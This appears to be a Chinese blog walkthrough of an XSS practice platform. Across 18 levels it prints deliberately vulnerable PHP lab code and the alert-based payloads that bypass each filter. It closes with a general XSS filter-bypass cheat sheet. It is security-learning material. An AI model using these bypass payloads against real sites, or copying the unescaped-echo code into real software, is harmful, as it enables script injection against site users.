xss绕过尖括号和双括号_xss挑战平台练习

-------------------------XSS挑战之旅-------------------------
最近在学习xss,找到了一个xss练习平台,在线地址:http://test.xss.tv/
实验环境也可以本地搭建,不过需要php+mysql的环境:
xss通关小游戏:https://pan.baidu.com/s/1zS2GwTNbMBXEF2yNEBeLgA 密码:85g8
我这里使用本地搭建,方便分析代码,安装好的页面如下:

cc95007a96a7d9727916de19005d9347.png

Level 1:

9d34775bc72b4eb65174186d92d7a872.png


分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; ?>

bc206ad103d5fb718b2d035010b3ddac.png


根据代码发现,变量$str从url接受一个get类型的name参数,并且没有对传入的name参数进行任何过滤
直接echo出来,我们可以直接构造任意可弹窗payload,
这里使用最基本的:<script>alert(1)</script>,也可以使用 <svg/οnlοad=alert(1)> 等...

3b03e160a207efb1187513829718390f.png


成功过关!Level 2:

09c270ad56d8476e9217652d6ee362c3.png


从图中可以看出这是一个典型的搜索框xss,
分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?>

bc206ad103d5fb718b2d035010b3ddac.png


分析代码,仍然是使用get方法,从url中接受一个keyword参数,不过这里用到一个过滤函数htmlspecialchars(),
这个函数把预定义的字符转换为 HTML 实体,等于<不能用,这时候一种方法是黑名单绕过,就是不使用被过滤的符号,使用js的事件:
payload : " οnclick=alert(1)这样需要点击一下输入框<br>
" οnmοuseοver=alert(1)>需要鼠标划过输入框<br><br>

a4cb00122060df38b47b53da7155f54f.png


另外一种方法就是在构造payload就要将input的文本框本分提前闭合,不影响我们弹框代码,

0230c3bbc13e7d4e8a86a34f83cc9259.png


我这里使用 "><script>alert(1)</script>
这样的话 : <input name="keyword" value=" "><script>alert(1)</script>"
这样value=" ",不会检查我们的弹窗代码

8d3b103946fb2a174ddc96c9a9da64fe.png


成功过关!!!Level 3:

45581c687b0fd099e015f124664fb450.png


分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?>

bc206ad103d5fb718b2d035010b3ddac.png


分析代码发现跟上面大同小异,不过过滤更加严格了,特别是value='".htmlspecialchars($str)."'发现
上题尝试闭合<"">构造<script>弹窗方法失效了,应为value中的<被转义了,只能利用上题中的js时间
来构造弹窗,不过这里需要用单引号闭合,构造payload : ' οnmοuseοver=alert(1)//
这样的话: <input name=keyword value=' ' οnmοuseοver=alert(1)// '>

47dad9ffed0f5bc959cdde583d298fcb.png


闯关成功!!!Level 4:

d6c8cf0ec1e85e5adf4ee440eaef686c.png


分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>

bc206ad103d5fb718b2d035010b3ddac.png


这里我们看到,我们传入进去的值又经过了两个函数的参与。
函数说明:
Str_replace(">", " " ,$str),此函数将变量str中的字符>转换为空,转换时区分大小写。同理将<装换为空,
然后在经过htmlspecialchars()函数,将一些预定义符号转换为html实体。
通过这几个函数的过滤转化,我们前三关的payload肯定对不能用的。所以接下来我们需要做的就是,
在没有符号“<>”的情况下,并且语句不被htmlspecialchars()函数影响的情况下构建payload。
所以我们在这里可以构造一个输入到文本框后出现相应的事件。我们的payload:
" οnfοcus=alert(1) autofocus="
" οnclick=alert(1) //
这样我们输入的payload没有被函数过滤,并且经过htmlspecailchars()函数转换并不影响最 input文本框。所以输入后文本框内容就变成了:
<input name=keyword value=" " οnfοcus=alert(1) autofocus=" " >

ac0e7bf2987f3258a6c91fe2a87f30d6.png


<input name=keyword value=" " οnclick=alert(1) //">

d9afe9320d38308867330845e7ee5c80.png


Onfocus事件:定义的事件将在对象获得焦点时触发,这里指input标签获得焦点。
Autofocus属性:input标签的属性,当页面加载input标签,自动获得焦点。
焦点:这里指你的光标的位置,也就是说当你的光标出现在input文本框这里,将进行onfocus事件的发生。Level 5:

ece8a5fe2ddcc0d3a4cc824f0d1e5524.png


分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>

bc206ad103d5fb718b2d035010b3ddac.png


分析代码发现,str2=strreplace("<script","<script",str2=strreplace("<script","<script",str); str3=strreplace("on","on",str3=strreplace("on","on",str2); 就直接把
<script 转换成 <scr_ipt ,on转换成 o_n ,这样就过滤了js事件,str=strtolower(str=strtolower(_GET["keyword"]);这样
大小写绕过也失效,不过这次没有过滤尖括号<>,这里使用伪协议来构造payload:
"><iframe src=javascript:alert(1)>
"> <a href="javascript:alert(1)">bmjoker</a>
"> <a href="javascript:%61lert(1)">bmjoker</a> //
这样的话: <input name=keyword value=" "><iframe src=javascript:alert(1)>">

37450758f365904268a8363971e737df.png


<input name=keyword value=" "><iframe src=javascript:alert(1)>">

abfdb82e7110afd411a5d0f07d327b06.png


闯关成功!!!Level 6:

02f25aad5eda2a9f09029ca93765721b.png


分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>

bc206ad103d5fb718b2d035010b3ddac.png


分析代码,发现同样过滤了很多字符,<script 转换成 <scr_ipt ,on 转换成 o_n ,src 转换成 sr_c ,
data 转换成 da_ta,href 转换成 hr_ef,比起上一关,发现这里没有大小写约束, 我们可以构造payload:
"> <Script>alert(1)</script> //
"> <img Src=x OnError=alert(1)> //
"><a HrEf="javascript:alert(1)">bmjoker</a>//
"><svg x=" " Onclick=alert(1)>
"><ScriPt>alert(1)<sCrIpt>"
" OncliCk=alert(1) //

6fca7544e7221b57060988c59f527058.png

52ee374d1b8673f8e6cb5d44eaccf009.png


成功过关!!!Level 7:

616f02608b6553eaad397ef8bf866b3c.png


分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>

bc206ad103d5fb718b2d035010b3ddac.png


分析代码,不仅大小写不能用了,script,on,src ,data ,href 都直接转换成空,
尝试双写绕过,构造payload:
"><sscriptcript>alert(1)</sscriptcript>
" oonnmouseover=alert(1)
"><a hrhrefef=javascriscriptpt:alert(1)>bmjoker</a>

e53a2db4b6a93756130268608a76413d.png

012e6a6d69ddf3cca5f6a857452f694a.png


闯关成功!!!Level 8:

b4d30f5121de887212c446a2c030fa17.png


分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; ?>

bc206ad103d5fb718b2d035010b3ddac.png


分析代码,<script 转换成 <scr_ipt ,on 转换成 o_n ,src 转换成 sr_c ,data 转换成 da_ta,href 转换成 hr_ef,
大小写也失效了," 还被编码,但是尖括号<> ,单引号 ' ,% ,# ,& 符号没有被过滤,输出点在a标签内,href属性中,
属性中双引号被转换成HTML实体,无法截断属性,我们可以使用协议绕过javascript:alert,由于script关键字被过滤,
javascript会被替换成javasc_rpt,我们使用&#x72来代替r ,HTML字符实体转换:https://www.qqxiuzi.cn/bianma/zifushiti.php
,伪协议后面可以使用URL编码等进行编码。构造payload:
javascrip&#x74;:alert(1)
javascript:%61lert(1)
javasc&#x72;ipt:alert`1`
javasc&#x0072;ipt:alert`1`

b7e467ba0ca087b29556d72a3cd47d63.png


成功过关!!!Level 9:

82228bba1bc533d0cce3a69749f30e88.png


分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ?>

bc206ad103d5fb718b2d035010b3ddac.png


分析代码,发现跟上个挑战大同小异,不同的是多了自己自动检测url,如果发现没有带http:// 内容则会显示不合法,
构造payload:
javascrip&#x74;:alert(1)//http://xxx.com //利用注释
javascrip&#x74;:%0dhttp://xxx.com%0dalert(1) //不利用注释
javascrip&#x74;:%0ahttp://xxx.com%0daalert(1) //不利用注释

9ec94f4af0a661881195c7c2d15c6afa.png


闯关成功!!!Level 10:

652116c7eea5b5a3d6dd09f9ddbfa0fc.png


分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?>

bc206ad103d5fb718b2d035010b3ddac.png


分析代码,发现需要两个参数,一个是keyword,一个是t_sort,尖括号<>都被转换成空,还有三个hidden的隐藏输入框,
或许我们可以从隐藏的输入框下手,构造payload:
keyword = test&t_sort="type="text" onclick = "alert(1)
keyword = test&t_sort="type="text" οnmοuseοver="alert(1)
keyword = test&t_sort="type="text" οnmοuseοver=alert`1`
这样的话:<input name="t_sort" value=" " type="text" onclick = "alert(1)" type="hidden">
构成一个js的点击弹窗事件:

00052494ee310a8d6128dd9d908b8ac1.png


闯关成功!!!Level 11:

f4726e3cd96d920dde536402d8c1a15d.png


分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?>

bc206ad103d5fb718b2d035010b3ddac.png


分析代码,发现比起上一个挑战来说,多了一个 str11=str11=_SERVER['HTTP_REFERER']; 考察的是http头部的
xss注入,开始抓包,burp修改相应的字段,构造http头部Referer的payload:
Referer: " οnmοuseοver=alert(1) type="text"
Referer: " οnclick="alert(1) type="text"
burp抓包,改Referer头:

8beb30fa5f5de2b890e9c6bfb6c5472f.png


forward发包

b0f56abecabda6979097bc04e3431d61.png


闯关成功!!!Level 12:

174a4be630327dd4a577525195e7a14b.png


分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden"> </form> </center>'; ?>

bc206ad103d5fb718b2d035010b3ddac.png


分析代码,这次换成了 str11=str11=_SERVER['HTTP_USER_AGENT']; 应该是User-Agent的http头部注入,
burp抓包,构造http头部User-Agent的payload:
User-Agent: " οnmοuseοver=alert(1) type="text"
User-Agent: " οnclick="alert(1) type="text"
burp抓包,改User-Agent头:

0967554b34aa630fccaa8dd66f410c0f.png


forward发包:

a57f358ff3a2a55244eb3b4fc60092eb.png


闯关成功!!!Level 13:

fcb89a7685768605ee25cfcf2b1f0a80.png


分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden"> </form> </center>'; ?>

bc206ad103d5fb718b2d035010b3ddac.png


分析代码,这次换成了 setcookie("user", "call me maybe?", time()+3600); 应该是cookie类型的xss注入
直接构造payload:
Cookie: " οnmοuseοver=alert(1) type="text"
Cookie: " οnclick="alert(1) type="text"
burp抓包,改cookie:

5e988e2510bd56e52676497336b68ebd.png


forward发包:

b062745906365c0621c69f855be8fd69.png

Level 14:
....level14崩了,我们看一下大佬的payload:
"><img src=1 οnerrοr=alert(1)>
百度得出答案,这里用的是乌云爆出的exif viewer的漏洞,漏洞原理是通过修改图片的exif信息,
造成解析图片exif触发XSS。利用工具推荐exiftool。以后看见上传果断又一个姿势啊。
修改图片exif信息如标题,作者。Level 15:

bc188f54716e3399e4625507d44a51f3.png


分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<html ng-app>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

bc206ad103d5fb718b2d035010b3ddac.png


分析代码,这一关考的angular js的知识,稍微百度一下相关知识,发现ng-include有包含文件的意思,也就相当于php里面的include
发现可以包含第一关的页面,构造payload:
src='level1.php?name=<img src=x οnerrοr=alert(1)>'
emmm......Level 16:

71ccbf5caf8fe2320fbeca8734edcd15.png


分析一下源代码中的判断xss的代码:

bc206ad103d5fb718b2d035010b3ddac.png


<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","&nbsp;",$str); $str3=str_replace(" ","&nbsp;",$str2); $str4=str_replace("/","&nbsp;",$str3); $str5=str_replace(" ","&nbsp;",$str4); echo "<center>".$str5."</center>"; ?>

bc206ad103d5fb718b2d035010b3ddac.png


分析代码,发现大小写绕过失效,script , / , ,等都被转换成&nbsp,我们可以用%0d,%0a等绕过:
构造payload:
<img%0Dsrc=1%0Dοnerrοr=alert(1)>
<iframe%0asrc=x%0dοnmοuseοver=alert`1`></iframe>
<svg%0aοnlοad=alert`1`></svg>

40fe7b69030cffbcdf3b6bc0168f4b2f.png


闯关成功!!!Level 17:

2355e9d1000f4d07d14c954f3ef2e542.png


分析一下源代码中的判断xss的代码:
<?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?>
刚开始以为是Flash XSS,仔细一看发现不是,使用了htmlspecialchars进行实体编码,和第三关就一样了,使用on事件。
构造payload:
arg01=123&arg02= οnmοuseοver=alert(1)
arg01=123&arg02=%20οnmοusedοwn=alert`1`
arg01=123&arg02= οnmοuseοver=alert(1) type="text"

fad4afd0968a3b0b45d6474d4317c144.png


闯关成功!!!Level 18:

c53ddbff584e2c6b212dc24fe88bd4a4.png


分析一下源代码中的判断xss的代码:
<?php ini_set("display_errors", 0); echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?>
分析代码,发现完全可以用上一挑战的方法,payload如上

7d22742b793c9cb1caa7861166f2f393.png

Level 19,20:
Flash xss没了解过...等以后学到再回来更新吧...XSS绕过常用方法1、大小写绕过
<ScRIpT>alert('123')</sCRIpT>2、编码绕过

  • 1.十六进制编码
  • 2.jsfuck编码
  • 3.url编码
  • 4.unicode编码

<0x736372697074>alert('123')</0x736372697074>
<img src="1" οnerrοr="alert&#x28;1&#x29;">3、绕过magic_quotes_gpc
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>4、标签闭合标签
"><script>alert(/123/)</script>
</script><script>alert(1)</script>标签绕过
<img src="x" οnerrοr="alert(1)">
<button οnclick="javascript:alert('xss')>XSS</button">
<title><img a="</title><img/src=1 οnerrοr=alert(1)//">
"οnsubmit=javascript:alert(1)%20name="a
<details open οntοggle="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">
<video src="http://www.0dutv.com/plug/down/up2.php/104678898.mp3" οnprοgress=(′body′).prepend(123);(′body′).prepend(123);('body')></video>5、其他符号绕过
%0a 替换空格
%0d 替换空格
/**/ 替换空格
%00 截断
`` 替换括号6、双字符绕过
<img ononerrorerror="123">
<script>alalertert(123)</script>7、宽字节绕过

  • gbxxxx系列的编码,那么我们尝试一下宽字节 %c0,%bf,%5c,%df

8、其他事件绕过
onload
onclick
onerror
prompt
confirm
onmousemove9、CRLF injection绕过
CRLF是”回车 + 换行”(rn)的简称。http://www.xxx.com%0d%0a%0d%0a<svg/οnlοad=prompt(1)>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/464861.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

上世纪八九十年代的收录放音机拆解

头条看到刘工发的收录放音机美图&#xff0c;发上来大家回忆下&#xff0c;大家跟这些老古董有什么故事&#xff1f;推荐阅读&#xff1a;专辑|Linux文章汇总专辑|程序人生专辑|C语言我的知识小密圈关注公众号&#xff0c;后台回复「1024」获取学习资料网盘链接。欢迎点赞&…

String in Java

转载于:https://www.cnblogs.com/ywxt/p/java_string.html

dfs hdfs 修改文件名称_CDH6.3.2生产更换HDFS 数据目录

事情是这样的&#xff0c;楼主刚入职一家新公司&#xff0c;刚开始搭建的集群时ecs只有一个系统盘&#xff0c;集群安装完成运行几天后&#xff0c;分分钟就要爆了&#xff0c;于是申请增加磁盘&#xff0c;就有了下面的操作&#xff0c;生怕操作失误&#xff0c;集群挂了&…

c++thread里暂停线程_多线程技术

1.程序程序(Program)”是一个静态的概念&#xff0c;一般对应于操作系统中的一个可执行文件&#xff0c;比如&#xff1a;我们要启动酷狗听音乐&#xff0c;则对应酷狗的可执行程序。当我们双击酷狗&#xff0c;则加载程序到内存中&#xff0c;开始执行该程序&#xff0c;于是产…

出差CVTE

去CVTE和连总吃饭周一晚上11点&#xff0c;我给我们领导打电话&#xff0c;说有个问题一定要去CVTE。晚上到家的时候是12点多&#xff0c;没洗澡&#xff0c;我跟小云说我早上要6点起来去广州&#xff0c;小云问我说去广州干嘛&#xff0c;我说&#xff0c;去出差解决问题。​然…

html实现 左图右文_让CSS flex布局最后一行左对齐的N种方法

作者&#xff1a;张鑫旭https://www.zhangxinxu.com/wordpress/2019/08/css-flex-last-align/前言小伙伴们是否还记得&#xff0c;之前小编也发布了几篇关于CSS相关文章不妨一起来回顾回顾&#xff1a;《手把手整理CSS3知识汇总【思维导图】》《关于前端CSS写法104个知识点汇总…

定位到元素后获取其属性_Selenium界面自动化测试(4)(Python):元素定位及操作...

在操作Web元素之前&#xff0c;需要先找到该元素&#xff0c;这个查找的过程称之为元素定位。Selenium支持8种元素定位方法&#xff1a;ID&#xff1a;根据元素的id属性值来定位元素。Name&#xff1a;根据元素的name属性值来定位元素。Class Name&#xff1a;根据元素的class属…

芯片公司急聘嵌入式软件精英人才

薪酬待遇及联系方式薪酬待遇&#xff1a;40~150万不等&#xff0c;另有股票期权等&#xff0c;待遇丰厚&#xff0c;详细面议工作地点&#xff1a;北京市朝阳区联系人&#xff1a;杨先生微信&#xff1a;MichaelYao7PS&#xff1a;推荐成功入职者有推荐费嵌入式软件工程师岗位职…

这一年就要过去

「远方钟声响起&#xff0c;这一年就要过去&#xff0c;快乐时光不停留......」楠哥从幼儿园新学习了一首新年小曲。今年已经是12月份了&#xff0c;2021年就要结束&#xff0c;即将到来的是2022年的新的一年。2021年这一年里非常感谢读者的一路支持&#xff0c;当然这不是一篇…

unc 隐藏共享文件夹_你真的了解任务栏吗?win10任务栏居然隐藏了这么多小窍门...

平常使用电脑&#xff0c;最常用的是桌面&#xff0c;桌面上最常用的大约是任务栏&#xff0c;但是你真的了解任务栏吗&#xff1f;除了一小部分朋友熟悉之外&#xff0c;大部分人估计都是没有留意到&#xff0c;其实任务栏就功能角度来说&#xff0c;的确算一个宝藏之地。什么…

手机充电IC设置电流与实测电流不一致问题剖析

大家好&#xff0c;我是写代码的篮球球痴&#xff0c;转一篇我朋友记得诚的文章本文转载来自一位基带大佬&#xff0c;解决问题的思路很重要。原文链接&#xff1a;https://blog.csdn.net/AirCity123/article/details/104428325?spm1001.2014.3001.5502某手机的充电架构如下&a…

Spring系列(六) Spring Web MVC 应用构建分析

DispatcherServlet DispatcherServlet 是Spring MVC的前端控制器名称, 用户的请求到达这里进行集中处理, 在Spring MVC中, 它的作用是为不同请求匹配对应的处理器, 将结果传递给视图解析器最终呈现给客户端. 前端控制器模式&#xff08;Front Controller Pattern&#xff09;是…

做个好人,加个晚班

我和建平在腾讯加班的日子前几天&#xff0c;他让我给他发照片&#xff0c;因为公司里年末要发照片墙&#xff0c;他说要把我的和他的照片放上去&#xff0c;然后我硬是找了几张觉得不错的给他&#xff0c;然后他也真的放上去了。再看那些照片&#xff0c;拍出来的效果都不咋样…

中ridge_10种线性代数在数据科学中的强大应用(内附多种资源)

原文选自 | Analytics Vidhya作者 | Khyati Mahendru本文转载自 TalkingData数据学堂 &#xff0c;未经允许禁止转载本文摘要线性代数为各种各样的数据科学算法和应用提供支持在这里&#xff0c;我会向您介绍通过线性代数帮助您成为更好的数据科学家的10种实际应用我们已将这些…

语言与golang语言运行速度_Golang语言情怀第13期 Go 语言设计模式 介绍

设计模式是什么俗话说&#xff1a;站在别人的肩膀上&#xff0c;我们会看得更远。设计模式的出现可以让我们站在前人的肩膀上&#xff0c;通过一些成熟的设计方案来指导新项目的开发和设计&#xff0c;以便于我们开发出具有更好的灵活性和可扩展性&#xff0c;也更易于复用的软…

苦练IoT应用开发,还能加速变现,这个机会别错过

都说人间大事&#xff0c;不过吃喝二字。厨房经济近年来显示出了巨大发展潜力&#xff0c;智能厨电已成为潮流趋势。智慧厨电究竟是如何——让厨房小白做出一顿可口大餐&#xff1f;让懒人摆脱厨房油烟和洗碗的困扰&#xff1f;让怕冷的人喝到永远55℃的热水&#xff1f;……在…

android人脸识别demo_零门槛解决Windows人脸识别应用开发难题

自人脸识别免费SDK——ArcFace3.0上线以来&#xff0c;凭借对人脸识别、活体检测、年龄检测、性别检测等核心算法模型进行全面升级&#xff0c;大幅提升算法鲁棒性&#xff0c;显著降低接入门槛&#xff0c;同时支持Windows、iOS、Android&#xff08;包含Android10&#xff09…

Visual Studio会让嵌入式开发变得更香

在几个月之前&#xff0c;我一直非常喜欢用Source Insight看代码&#xff0c;主要是习惯了原来的风格。从Source Insight 转到vscode 的原因是&#xff0c;在腾讯使用samba连接Source Insight看代码非常非常卡&#xff0c;让我觉得很难受。然后是在同事的建议下更换了vscode,里…

现实世界的Windows Azure:采访InishTech的销售及市场部主管Andrew O’Connor

MSDN: 告诉我们关于你们公司的信息以及您为Windows Azure创建的解决方案。O’Connor: InishTech 有点不寻常。我们的软件许可和保护服务&#xff08;SLPS&#xff09;平台是一个传统的多租户Windows Azure应用程序&#xff0c;利用Windows Azure SDK、 Windows Azure Dev Fabri…

珠海半导体公司招聘

受一个朋友所托&#xff0c;帮忙发一个招聘信息公司名字&#xff1a;珠海极海半导体有限公司上班地点&#xff1a;广州岗位名称&#xff1a;FAE工程师岗位要求&#xff1a;薪资&#xff1a;15K左右&#xff0c;会根据实际面试情况做相应调整。一些聊天内容的消息供大家参考&…